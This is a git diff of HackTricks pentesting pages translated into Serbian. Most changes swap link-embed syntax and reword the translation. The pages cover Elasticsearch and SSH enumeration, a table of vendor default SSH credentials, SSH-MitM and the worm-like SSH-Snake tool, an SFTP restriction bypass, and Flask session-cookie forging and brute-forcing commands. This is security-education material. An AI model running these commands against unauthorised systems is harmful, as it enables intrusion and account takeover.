{% embed url="https://ired.team/offensive-security-experiments/offensive-security-cheetsheets" %}
|
||||
{{#ref}}
|
||||
https://ired.team/offensive-security-experiments/offensive-security-cheetsheets
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://chryzsh.gitbooks.io/pentestbook/basics_of_windows.html" %}
|
||||
{{#ref}}
|
||||
https://chryzsh.gitbooks.io/pentestbook/basics_of_windows.html
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://github.com/wwong99/pentest-notes/blob/master/oscp_resources/OSCP-Survival-Guide.md" %}
|
||||
{{#ref}}
|
||||
https://github.com/wwong99/pentest-notes/blob/master/oscp_resources/OSCP-Survival-Guide.md
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://anhtai.me/oscp-fun-guide/" %}
|
||||
{{#ref}}
|
||||
https://anhtai.me/oscp-fun-guide/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://www.thehacker.recipes/" %}
|
||||
{{#ref}}
|
||||
https://www.thehacker.recipes/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings" %}
|
||||
{{#ref}}
|
||||
https://github.com/swisskyrepo/PayloadsAllTheThings
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://gtfobins.github.io/" %}
|
||||
{{#ref}}
|
||||
https://gtfobins.github.io/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://github.com/RistBS/Awesome-RedTeam-Cheatsheet" %}
|
||||
{{#ref}}
|
||||
https://github.com/RistBS/Awesome-RedTeam-Cheatsheet
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet" %}
|
||||
{{#ref}}
|
||||
https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://hideandsec.sh/" %}
|
||||
{{#ref}}
|
||||
https://hideandsec.sh/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://cheatsheet.haax.fr/" %}
|
||||
{{#ref}}
|
||||
https://cheatsheet.haax.fr/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://infosecwriteups.com/" %}
|
||||
{{#ref}}
|
||||
https://infosecwriteups.com/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://www.exploit-db.com/" %}
|
||||
{{#ref}}
|
||||
https://www.exploit-db.com/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://wadcoms.github.io/" %}
|
||||
{{#ref}}
|
||||
https://wadcoms.github.io/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://lolbas-project.github.io" %}
|
||||
{{#ref}}
|
||||
https://lolbas-project.github.io
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://pentestbook.six2dez.com/" %}
|
||||
{{#ref}}
|
||||
https://pentestbook.six2dez.com/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://www.hackingarticles.in/" %}
|
||||
{{#ref}}
|
||||
https://www.hackingarticles.in/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://pentestlab.blog/" %}
|
||||
{{#ref}}
|
||||
https://pentestlab.blog/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://ippsec.rocks/" %}
|
||||
{{#ref}}
|
||||
https://ippsec.rocks/
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -8,6 +8,8 @@ Ovaj port koristi **Redshift** za rad. To je u suštini AWS varijacija **Postgre
|
||||
|
||||
Za više informacija proverite:
|
||||
|
||||
{% embed url="https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-services/aws-databases/aws-redshift-enum" %}
|
||||
{{#ref}}
|
||||
https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-services/aws-databases/aws-redshift-enum
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -2,7 +2,7 @@
|
||||
|
||||
# Osnovne informacije
|
||||
|
||||
Sa [ovde](http://hacking-printers.net/wiki/index.php/Port_9100_printing): Raw štampanje je ono što definišemo kao proces uspostavljanja veze sa portom 9100/tcp mrežnog štampača. To je podrazumevani metod koji koristi CUPS i Windows arhitektura štampanja za komunikaciju sa mrežnim štampačima, jer se smatra da je ‘_najjednostavniji, najbrži i generalno najpouzdaniji mrežni protokol korišćen za štampače_’. Raw port 9100 štampanje, takođe poznato kao JetDirect, AppSocket ili PDL-datastream zapravo **nije štamparski protokol samo po sebi**. Umesto toga, **svi podaci koji se šalju direktno se obrađuju od strane štampačkog uređaja**, baš kao paralelna veza preko TCP-a. U poređenju sa LPD, IPP i SMB, ovo može slati direktne povratne informacije klijentu, uključujući status i poruke o greškama. Takav **dvosmerni kanal** nam daje direktan **pristup** **rezultatima** **PJL**, **PostScript** ili **PCL** komandi. Stoga, raw port 9100 štampanje – koje podržava gotovo svaki mrežni štampač – se koristi kao kanal za analizu bezbednosti sa PRET i PFT.
|
||||
Sa [ovde](http://hacking-printers.net/wiki/index.php/Port_9100_printing): Raw štampanje je ono što definišemo kao proces uspostavljanja veze sa portom 9100/tcp mrežnog štampača. To je podrazumevani metod koji koristi CUPS i Windows arhitektura štampanja za komunikaciju sa mrežnim štampačima, jer se smatra ‘_najjednostavnijim, najbržim i generalno najpouzdanijim mrežnim protokolom koji se koristi za štampače_’. Raw port 9100 štampanje, takođe poznato kao JetDirect, AppSocket ili PDL-datastream zapravo **nije protokol za štampanje sam po sebi**. Umesto toga, **svi podaci koji se šalju direktno se obrađuju od strane uređaja za štampanje**, baš kao paralelna veza preko TCP-a. U poređenju sa LPD, IPP i SMB, ovo može slati direktne povratne informacije klijentu, uključujući status i poruke o greškama. Takav **dvosmerni kanal** nam daje direktan **pristup** **rezultatima** **PJL**, **PostScript** ili **PCL** komandi. Stoga, raw port 9100 štampanje – koje podržava gotovo svaki mrežni štampač – se koristi kao kanal za analizu bezbednosti sa PRET i PFT.
|
||||
|
||||
Ako želite da saznate više o [**hakovanju štampača pročitajte ovu stranicu**](http://hacking-printers.net/wiki/index.php/Main_Page).
|
||||
|
||||
@ -48,7 +48,9 @@ msf> use auxiliary/scanner/printer/printer_delete_file
|
||||
|
||||
Ovo je alat koji želite da koristite za zloupotrebu štampača:
|
||||
|
||||
{% embed url="https://github.com/RUB-NDS/PRET" %}
|
||||
{{#ref}}
|
||||
https://github.com/RUB-NDS/PRET
|
||||
{{#endref}}
|
||||
|
||||
# **Shodan**
|
||||
|
||||
|
@ -12,7 +12,7 @@ Elasticsearch **indeks** je kolekcija **povezanih dokumenata** pohranjenih kao *
|
||||
|
||||
Elasticsearch koristi efikasnu strukturu podataka nazvanu **inverzni indeks** kako bi olakšao brza pretraživanja punog teksta. Ovaj indeks navodi svaku jedinstvenu reč u dokumentima i identifikuje dokumente u kojima se svaka reč pojavljuje.
|
||||
|
||||
Tokom procesa indeksiranja, Elasticsearch pohranjuje dokumente i konstruira inverzni indeks, omogućavajući pretraživanje gotovo u realnom vremenu. **Index API** se koristi za dodavanje ili ažuriranje JSON dokumenata unutar specifičnog indeksa.
|
||||
Tokom procesa indeksiranja, Elasticsearch pohranjuje dokumente i konstruira inverzni indeks, omogućavajući gotovo pretraživanje u realnom vremenu. **Index API** se koristi za dodavanje ili ažuriranje JSON dokumenata unutar specifičnog indeksa.
|
||||
|
||||
**Podrazumevani port**: 9200/tcp
|
||||
|
||||
@ -39,12 +39,12 @@ curl -X GET "ELASTICSEARCH-SERVER:9200/_xpack/security/user"
|
||||
```bash
|
||||
{"error":{"root_cause":[{"type":"security_exception","reason":"missing authentication credentials for REST request [/]","header":{"WWW-Authenticate":"Basic realm=\"security\" charset=\"UTF-8\""}}],"type":"security_exception","reason":"missing authentication credentials for REST request [/]","header":{"WWW-Authenticate":"Basic realm=\"security\" charset=\"UTF-8\""}},"status":401}
|
||||
```
|
||||
To će značiti da je autentifikacija konfigurisana i **potrebne su vam važeće kredencijale** da biste dobili bilo kakve informacije iz elasticsearch-a. Zatim, možete [**pokušati da bruteforce-ujete**](../generic-hacking/brute-force.md#elasticsearch) (koristi HTTP basic auth, tako da se može koristiti bilo šta što BF HTTP basic auth može).\
|
||||
To znači da je autentifikacija konfigurisana i **potrebne su vam važeće kredencijale** da biste dobili bilo kakve informacije iz elasticsearch-a. Zatim, možete [**pokušati da bruteforce-ujete**](../generic-hacking/brute-force.md#elasticsearch) (koristi HTTP basic auth, tako da se može koristiti bilo šta što BF HTTP basic auth može).\
|
||||
Evo vam **lista podrazumevanih korisničkih imena**: _**elastic** (superuser), remote_monitoring_user, beats_system, logstash_system, kibana, kibana_system, apm_system,_ \_anonymous\_.\_ Starije verzije Elasticsearch-a imaju podrazumevanu lozinku **changeme** za ovog korisnika.
|
||||
```
|
||||
curl -X GET http://user:password@IP:9200/
|
||||
```
|
||||
### Osnovna Enumeracija Korisnika
|
||||
### Osnovna enumeracija korisnika
|
||||
```bash
|
||||
#List all roles on the system:
|
||||
curl -X GET "ELASTICSEARCH-SERVER:9200/_security/role"
|
||||
@ -100,7 +100,7 @@ green open .kibana 6tjAYZrgQ5CwwR0g6VOoRg 1 0 1 0
|
||||
yellow open quotes ZG2D1IqkQNiNZmi2HRImnQ 5 1 253 0 262.7kb 262.7kb
|
||||
yellow open bank eSVpNfCfREyYoVigNWcrMw 5 1 1000 0 483.2kb 483.2kb
|
||||
```
|
||||
Da biste dobili **informacije o tome koja vrsta podataka je sačuvana unutar indeksa**, možete pristupiti: `http://host:9200/<index>` iz primera u ovom slučaju `http://10.10.10.115:9200/bank`
|
||||
Da biste dobili **informacije o tome koja vrsta podataka je sačuvana unutar indeksa**, možete pristupiti: `http://host:9200/<index>` u ovom slučaju `http://10.10.10.115:9200/bank`
|
||||
|
||||
.png>)
|
||||
|
||||
@ -151,7 +151,7 @@ Primetite kako se **novi indeks sada pojavljuje na listi**:
|
||||
|
||||
.png>)
|
||||
|
||||
I obratite pažnju na **automatski kreirane osobine**:
|
||||
I obratite pažnju na **automatski kreirane atribute**:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -161,11 +161,12 @@ Neki alati će dobiti neke od podataka prikazanih ranije:
|
||||
```bash
|
||||
msf > use auxiliary/scanner/elasticsearch/indices_enum
|
||||
```
|
||||
{% embed url="https://github.com/theMiddleBlue/nmap-elasticsearch-nse" %}
|
||||
{{#ref}}
|
||||
https://github.com/theMiddleBlue/nmap-elasticsearch-nse
|
||||
{{#endref}}
|
||||
|
||||
## Shodan
|
||||
|
||||
- `port:9200 elasticsearch`
|
||||
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -4,7 +4,9 @@
|
||||
|
||||
# **Podrazumevane lozinke**
|
||||
|
||||
{% embed url="http://www.vulnerabilityassessment.co.uk/passwordsC.htm" %}
|
||||
{{#ref}}
|
||||
http://www.vulnerabilityassessment.co.uk/passwordsC.htm
|
||||
{{#endref}}
|
||||
|
||||
# Konfiguracione datoteke
|
||||
```text
|
||||
|
@ -27,7 +27,9 @@ PORT STATE SERVICE
|
||||
|
||||
MS14-068 greška omogućava napadaču da manipuliše Kerberos prijavnim tokenom legitimnog korisnika kako bi lažno tvrdio da ima povišene privilegije, kao što je biti Domain Admin. Ova lažna tvrdnja se pogrešno validira od strane Domain Controller-a, omogućavajući neovlašćen pristup mrežnim resursima širom Active Directory šume.
|
||||
|
||||
{% embed url="https://adsecurity.org/?p=541" %}
|
||||
{{#ref}}
|
||||
https://adsecurity.org/?p=541
|
||||
{{#endref}}
|
||||
|
||||
Ostali eksploiti: [https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek)
|
||||
|
||||
|
@ -2,11 +2,9 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
## Osnovne informacije
|
||||
|
||||
**SSH (Secure Shell ili Secure Socket Shell)** je mrežni protokol koji omogućava sigurnu vezu sa računarom preko nesigurne mreže. Ključan je za očuvanje poverljivosti i integriteta podataka prilikom pristupa udaljenim sistemima.
|
||||
**SSH (Secure Shell ili Secure Socket Shell)** je mrežni protokol koji omogućava sigurnu vezu sa računarom preko nesigurne mreže. Bitan je za očuvanje poverljivosti i integriteta podataka prilikom pristupa udaljenim sistemima.
|
||||
|
||||
**Podrazumevani port:** 22
|
||||
```
|
||||
@ -23,7 +21,7 @@
|
||||
|
||||
- [libssh](https://www.libssh.org) – multiplatformska C biblioteka koja implementira SSHv2 protokol sa vezama u [Python](https://github.com/ParallelSSH/ssh-python), [Perl](https://github.com/garnier-quentin/perl-libssh/) i [R](https://github.com/ropensci/ssh); koristi se od strane KDE za sftp i od strane GitHub-a za git SSH infrastrukturu
|
||||
- [wolfSSH](https://www.wolfssl.com/products/wolfssh/) – SSHv2 server biblioteka napisana u ANSI C i usmerena na ugrađene, RTOS i okruženja sa ograničenim resursima
|
||||
- [Apache MINA SSHD](https://mina.apache.org/sshd-project/index.html) – Apache SSHD java biblioteka zasnovana na Apache MINA
|
||||
- [Apache MINA SSHD](https://mina.apache.org/sshd-project/index.html) – Apache SSHD java biblioteka se zasniva na Apache MINA
|
||||
- [paramiko](https://github.com/paramiko/paramiko) – Python SSHv2 protokol biblioteka
|
||||
|
||||
## Enumeracija
|
||||
@ -41,15 +39,15 @@ ssh-audit je alat za reviziju konfiguracije ssh servera i klijenta.
|
||||
**Karakteristike:**
|
||||
|
||||
- Podrška za SSH1 i SSH2 protokol servera;
|
||||
- analiza konfiguracije SSH klijenta;
|
||||
- preuzimanje banera, prepoznavanje uređaja ili softvera i operativnog sistema, detekcija kompresije;
|
||||
- prikupljanje algoritama za razmenu ključeva, host-key, enkripciju i kod autentifikacije poruka;
|
||||
- analizira konfiguraciju SSH klijenta;
|
||||
- uzima banner, prepoznaje uređaj ili softver i operativni sistem, detektuje kompresiju;
|
||||
- prikuplja algoritme za razmenu ključeva, host-key, enkripciju i kod autentifikacije poruka;
|
||||
- izlazne informacije o algoritmima (dostupno od, uklonjeno/onemogućeno, nesigurno/slabo/legacy, itd);
|
||||
- izlazne preporuke za algoritme (dodati ili ukloniti na osnovu prepoznate verzije softvera);
|
||||
- izlazne informacije o bezbednosti (povezani problemi, dodeljena CVE lista, itd);
|
||||
- analiza kompatibilnosti verzija SSH na osnovu informacija o algoritmima;
|
||||
- analizira kompatibilnost verzija SSH na osnovu informacija o algoritmima;
|
||||
- istorijske informacije iz OpenSSH, Dropbear SSH i libssh;
|
||||
- radi na Linuxu i Windowsu;
|
||||
- radi na Linux-u i Windows-u;
|
||||
- bez zavisnosti
|
||||
```bash
|
||||
usage: ssh-audit.py [-1246pbcnjvlt] <host>
|
||||
@ -105,7 +103,7 @@ msf> use scanner/ssh/ssh_enumusers
|
||||
|
||||
Neki uobičajeni ssh kredencijali [ovde](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt) i [ovde](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Common-Credentials/top-20-common-SSH-passwords.txt) i ispod.
|
||||
|
||||
### Privatni ključ Brute Force
|
||||
### Private Key Brute Force
|
||||
|
||||
Ako znate neke ssh privatne ključeve koji bi mogli biti korišćeni... hajde da probamo. Možete koristiti nmap skriptu:
|
||||
```
|
||||
@ -119,7 +117,9 @@ Ili koristite `ssh-keybrute.py` (nativni python3, lagan i sa omogućеним nas
|
||||
|
||||
#### Poznati loši ključevi mogu se naći ovde:
|
||||
|
||||
{% embed url="https://github.com/rapid7/ssh-badkeys/tree/master/authorized" %}
|
||||
{{#ref}}
|
||||
https://github.com/rapid7/ssh-badkeys/tree/master/authorized
|
||||
{{#endref}}
|
||||
|
||||
#### Slabi SSH ključevi / Debian predvidljiv PRNG
|
||||
|
||||
@ -129,27 +129,27 @@ Trebalo bi da pogledate ovde kako biste tražili važeće ključeve za žrtvinu
|
||||
|
||||
### Kerberos
|
||||
|
||||
**crackmapexec** koristeći `ssh` protokol može koristiti opciju `--kerberos` za **autentifikaciju putem kerberos-a**.\
|
||||
**crackmapexec** koristeći `ssh` protokol može koristiti opciju `--kerberos` za **autentifikaciju putem kerberosa**.\
|
||||
Za više informacija pokrenite `crackmapexec ssh --help`.
|
||||
|
||||
## Podrazumevani akreditivi
|
||||
|
||||
| **Proizvođač** | **Korisnička imena** | **Lozinke** |
|
||||
| --------------- | ----------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| APC | apc, device | apc |
|
||||
| Brocade | admin | admin123, password, brocade, fibranne |
|
||||
| Cisco | admin, cisco, enable, hsa, pix, pnadmin, ripeop, root, shelladmin | admin, Admin123, default, password, secur4u, cisco, Cisco, \_Cisco, cisco123, C1sco!23, Cisco123, Cisco1234, TANDBERG, change_it, 12345, ipics, pnadmin, diamond, hsadb, c, cc, attack, blender, changeme |
|
||||
| Citrix | root, nsroot, nsmaint, vdiadmin, kvm, cli, admin | C1trix321, nsroot, nsmaint, kaviza, kaviza123, freebsd, public, rootadmin, wanscaler |
|
||||
| D-Link | admin, user | private, admin, user |
|
||||
| Dell | root, user1, admin, vkernel, cli | calvin, 123456, password, vkernel, Stor@ge!, admin |
|
||||
| EMC | admin, root, sysadmin | EMCPMAdm7n, Password#1, Password123#, sysadmin, changeme, emc |
|
||||
| HP/3Com | admin, root, vcx, app, spvar, manage, hpsupport, opc_op | admin, password, hpinvent, iMC123, pvadmin, passw0rd, besgroup, vcx, nice, access, config, 3V@rpar, 3V#rpar, procurve, badg3r5, OpC_op, !manage, !admin |
|
||||
| Huawei | admin, root | 123456, admin, root, Admin123, Admin@storage, Huawei12#$, HwDec@01, hwosta2.0, HuaWei123, fsp200@HW, huawei123 |
|
||||
| IBM | USERID, admin, manager, mqm, db2inst1, db2fenc1, dausr1, db2admin, iadmin, system, device, ufmcli, customer | PASSW0RD, passw0rd, admin, password, Passw8rd, iadmin, apc, 123456, cust0mer |
|
||||
| Juniper | netscreen | netscreen |
|
||||
| NetApp | admin | netapp123 |
|
||||
| Oracle | root, oracle, oravis, applvis, ilom-admin, ilom-operator, nm2user | changeme, ilom-admin, ilom-operator, welcome1, oracle |
|
||||
| VMware | vi-admin, root, hqadmin, vmware, admin | vmware, vmw@re, hqadmin, default |
|
||||
| **Dobavljač** | **Korisnička imena** | **Lozinke** |
|
||||
| ---------- | ----------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| APC | apc, uređaj | apc |
|
||||
| Brocade | admin | admin123, password, brocade, fibranne |
|
||||
| Cisco | admin, cisco, enable, hsa, pix, pnadmin, ripeop, root, shelladmin | admin, Admin123, default, password, secur4u, cisco, Cisco, \_Cisco, cisco123, C1sco!23, Cisco123, Cisco1234, TANDBERG, change_it, 12345, ipics, pnadmin, diamond, hsadb, c, cc, attack, blender, changeme |
|
||||
| Citrix | root, nsroot, nsmaint, vdiadmin, kvm, cli, admin | C1trix321, nsroot, nsmaint, kaviza, kaviza123, freebsd, public, rootadmin, wanscaler |
|
||||
| D-Link | admin, user | private, admin, user |
|
||||
| Dell | root, user1, admin, vkernel, cli | calvin, 123456, password, vkernel, Stor@ge!, admin |
|
||||
| EMC | admin, root, sysadmin | EMCPMAdm7n, Password#1, Password123#, sysadmin, changeme, emc |
|
||||
| HP/3Com | admin, root, vcx, app, spvar, manage, hpsupport, opc_op | admin, password, hpinvent, iMC123, pvadmin, passw0rd, besgroup, vcx, nice, access, config, 3V@rpar, 3V#rpar, procurve, badg3r5, OpC_op, !manage, !admin |
|
||||
| Huawei | admin, root | 123456, admin, root, Admin123, Admin@storage, Huawei12#$, HwDec@01, hwosta2.0, HuaWei123, fsp200@HW, huawei123 |
|
||||
| IBM | USERID, admin, manager, mqm, db2inst1, db2fenc1, dausr1, db2admin, iadmin, system, device, ufmcli, customer | PASSW0RD, passw0rd, admin, password, Passw8rd, iadmin, apc, 123456, cust0mer |
|
||||
| Juniper | netscreen | netscreen |
|
||||
| NetApp | admin | netapp123 |
|
||||
| Oracle | root, oracle, oravis, applvis, ilom-admin, ilom-operator, nm2user | changeme, ilom-admin, ilom-operator, welcome1, oracle |
|
||||
| VMware | vi-admin, root, hqadmin, vmware, admin | vmware, vmw@re, hqadmin, default |
|
||||
|
||||
## SSH-MitM
|
||||
|
||||
@ -161,7 +161,7 @@ Ako ste u lokalnoj mreži kao žrtva koja će se povezati na SSH server koriste
|
||||
- **Presretanje i logovanje:** Napadačeva mašina deluje kao **proxy**, **hvatajući** korisničke podatke za prijavu pretvarajući se da je legitimni SSH server.
|
||||
- **Izvršavanje komandi i prosleđivanje:** Na kraju, napadačev server **loguje korisničke akreditive**, **prosleđuje komande** pravom SSH serveru, **izvršava** ih i **šalje rezultate nazad** korisniku, čineći proces da izgleda besprekorno i legitimno.
|
||||
|
||||
[**SSH MITM**](https://github.com/jtesta/ssh-mitm) radi tačno ono što je opisano iznad.
|
||||
[**SSH MITM**](https://github.com/jtesta/ssh-mitm) radi upravo ono što je opisano iznad.
|
||||
|
||||
Da biste uhvatili stvarni MitM, mogli biste koristiti tehnike poput ARP spoofinga, DNS spoofinga ili drugih opisanih u [**Napadima na mrežno spoofing**](../generic-methodologies-and-resources/pentesting-network/#spoofing).
|
||||
|
||||
@ -173,16 +173,16 @@ SSH-Snake automatski i rekurzivno obavlja sledeće zadatke:
|
||||
|
||||
1. Na trenutnom sistemu, pronađite sve SSH privatne ključeve,
|
||||
2. Na trenutnom sistemu, pronađite sve hostove ili odredišta (user@host) koja privatni ključevi mogu prihvatiti,
|
||||
3. Pokušajte da se SSH povežete sa svim odredištima koristeći sve otkrivene privatne ključeve,
|
||||
3. Pokušajte da se SSH-ujete u sve odredišta koristeći sve otkrivene privatne ključeve,
|
||||
4. Ako se uspešno povežete na odredište, ponovite korake #1 - #4 na povezanom sistemu.
|
||||
|
||||
Potpuno je samoreplicirajuće i samoproširujuće -- i potpuno bez datoteka.
|
||||
Potpuno se replicira i širi -- i potpuno je bez datoteka.
|
||||
|
||||
## Konfiguracione greške
|
||||
|
||||
### Root prijava
|
||||
|
||||
Uobičajeno je da SSH serveri po defaultu dozvoljavaju prijavu korisnika root, što predstavlja značajan sigurnosni rizik. **Onemogućavanje root prijave** je kritičan korak u obezbeđivanju servera. Neovlašćen pristup sa administratorskim privilegijama i napadi brute force mogu se ublažiti ovom promenom.
|
||||
Uobičajeno je da SSH serveri po defaultu dozvoljavaju prijavu korisnika root, što predstavlja značajan bezbednosni rizik. **Onemogućavanje root prijave** je kritičan korak u obezbeđivanju servera. Neovlašćen pristup sa administrativnim privilegijama i napadi brute force mogu se ublažiti ovom promenom.
|
||||
|
||||
**Da biste onemogućili root prijavu u OpenSSH:**
|
||||
|
||||
@ -197,7 +197,7 @@ Uobičajeno je da SSH serveri po defaultu dozvoljavaju prijavu korisnika root,
|
||||
|
||||
### Izvršavanje komandi SFTP
|
||||
|
||||
Postoji uobičajena greška koja se dešava sa SFTP podešavanjima, gde administratori nameravaju da korisnici razmenjuju datoteke bez omogućavanja daljinskog pristupa shell-u. Iako su korisnici postavljeni sa neinteraktivnim shell-ovima (npr. `/usr/bin/nologin`) i ograničeni na određeni direktorijum, ostaje sigurnosna rupa. **Korisnici mogu zaobići ova ograničenja** tražeći izvršavanje komande (poput `/bin/bash`) odmah nakon prijavljivanja, pre nego što njihov dodeljeni neinteraktivni shell preuzme. Ovo omogućava neovlašćeno izvršavanje komandi, potkopavajući nameravane sigurnosne mere.
|
||||
Postoji uobičajena greška koja se dešava sa SFTP podešavanjima, gde administratori nameravaju da korisnici razmenjuju datoteke bez omogućavanja daljinskog pristupa shell-u. Iako su korisnici postavljeni sa neinteraktivnim shell-ovima (npr. `/usr/bin/nologin`) i ograničeni na određeni direktorijum, ostaje sigurnosna rupa. **Korisnici mogu zaobići ova ograničenja** tražeći izvršavanje komande (kao što je `/bin/bash`) odmah nakon prijavljivanja, pre nego što njihov dodeljeni neinteraktivni shell preuzme. Ovo omogućava neovlašćeno izvršavanje komandi, potkopavajući nameravane mere bezbednosti.
|
||||
|
||||
[Primer odavde](https://community.turgensec.com/ssh-hacking-guide/):
|
||||
```bash
|
||||
@ -242,7 +242,7 @@ sudo ssh -L <local_port>:<remote_host>:<remote_port> -N -f <username>@<ip_compro
|
||||
```
|
||||
### SFTP Symlink
|
||||
|
||||
**sftp** ima komandu "**symlink**". Stoga, ako imate **prava za pisanje** u nekom folderu, možete kreirati **symlinks** drugih **foldera/fajlova**. Kako ste verovatno **zarobljeni** unutar chroot-a, ovo **neće biti posebno korisno** za vas, ali, ako možete **pristupiti** kreiranom **symlink-u** iz **no-chroot** **servisa** (na primer, ako možete pristupiti symlink-u sa veba), mogli biste **otvoriti symlinkovane fajlove putem veba**.
|
||||
The **sftp** have the command "**symlink**". Stoga, ako imate **prava za pisanje** u nekom folderu, možete kreirati **symlinks** drugih **foldera/fajlova**. Kako ste verovatno **zarobljeni** unutar chroot-a, ovo **neće biti posebno korisno** za vas, ali, ako možete **pristupiti** kreiranom **symlink-u** iz **no-chroot** **servisa** (na primer, ako možete pristupiti symlink-u sa veba), mogli biste **otvoriti symlinkovane fajlove putem veba**.
|
||||
|
||||
Na primer, da kreirate **symlink** iz novog fajla **"**_**froot**_**" u "**_**/**_**"**:
|
||||
```bash
|
||||
@ -259,7 +259,7 @@ OpenSSH_8.1p1, OpenSSL 1.1.1d 10 Sep 2019
|
||||
...
|
||||
debug1: Authentications that can continue: publickey,password,keyboard-interactive
|
||||
```
|
||||
Na primer, ako je postavljena granica za neuspehe autentifikacije i nikada ne dobijete priliku da dođete do metode lozinke, možete koristiti opciju `PreferredAuthentications` da primorate korišćenje ove metode.
|
||||
Na primer, ako je postavljen limit za neuspehe autentifikacije i nikada ne dobijete priliku da dođete do metode lozinke, možete koristiti opciju `PreferredAuthentications` da primorate korišćenje ove metode.
|
||||
```bash
|
||||
ssh -v 192.168.1.94 -o PreferredAuthentications=password
|
||||
...
|
||||
|
@ -4,6 +4,8 @@
|
||||
|
||||
Proverite ovu stranicu ako želite da saznate više o enumeraciji i zloupotrebi Kanti:
|
||||
|
||||
{% embed url="https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum" %}
|
||||
{{#ref}}
|
||||
https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
@ -8,6 +8,8 @@ Firebase je Backend-as-a-Service uglavnom za mobilne aplikacije. Fokusira se na
|
||||
|
||||
Saznajte više o Firebase-u na:
|
||||
|
||||
{% embed url="https://cloud.hacktricks.xyz/pentesting-cloud/gcp-security/gcp-services/gcp-databases-enum/gcp-firebase-enum" %}
|
||||
{{#ref}}
|
||||
https://cloud.hacktricks.xyz/pentesting-cloud/gcp-security/gcp-services/gcp-databases-enum/gcp-firebase-enum
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
@ -1,4 +1,4 @@
|
||||
# Electron contextIsolation RCE putem internog koda u Electronu
|
||||
# Electron contextIsolation RCE putem internog koda Electron-a
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -15,7 +15,9 @@ cachedArchives[p].destroy()
|
||||
}
|
||||
})
|
||||
```
|
||||
{% embed url="https://github.com/electron/electron/blob/664c184fcb98bb5b4b6b569553e7f7339d3ba4c5/lib/common/asar.js#L30-L36" %}
|
||||
{{#ref}}
|
||||
https://github.com/electron/electron/blob/664c184fcb98bb5b4b6b569553e7f7339d3ba4c5/lib/common/asar.js#L30-L36
|
||||
{{#endref}}
|
||||
|
||||
.png>)
|
||||
|
||||
|
@ -24,11 +24,13 @@ Kolačić je takođe potpisan koristeći lozinku
|
||||
|
||||
Alat za komandnu liniju za preuzimanje, dekodiranje, brute-force i kreiranje sesijskih kolačića Flask aplikacije pogađanjem tajnih ključeva.
|
||||
|
||||
{% embed url="https://pypi.org/project/flask-unsign/" %}
|
||||
{{#ref}}
|
||||
https://pypi.org/project/flask-unsign/
|
||||
{{#endref}}
|
||||
```bash
|
||||
pip3 install flask-unsign
|
||||
```
|
||||
#### **Dekodiraj kolačić**
|
||||
#### **Dekodiraj Kolačić**
|
||||
```bash
|
||||
flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'
|
||||
```
|
||||
@ -48,7 +50,9 @@ flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy
|
||||
|
||||
Alat za komandnu liniju za brute-force napade na veb sajtove koristeći kolačiće kreirane sa flask-unsign.
|
||||
|
||||
{% embed url="https://github.com/Tagvi/ripsession" %}
|
||||
{{#ref}}
|
||||
https://github.com/Tagvi/ripsession
|
||||
{{#endref}}
|
||||
```bash
|
||||
ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt
|
||||
```
|
||||
|
@ -2,16 +2,15 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Uvod
|
||||
|
||||
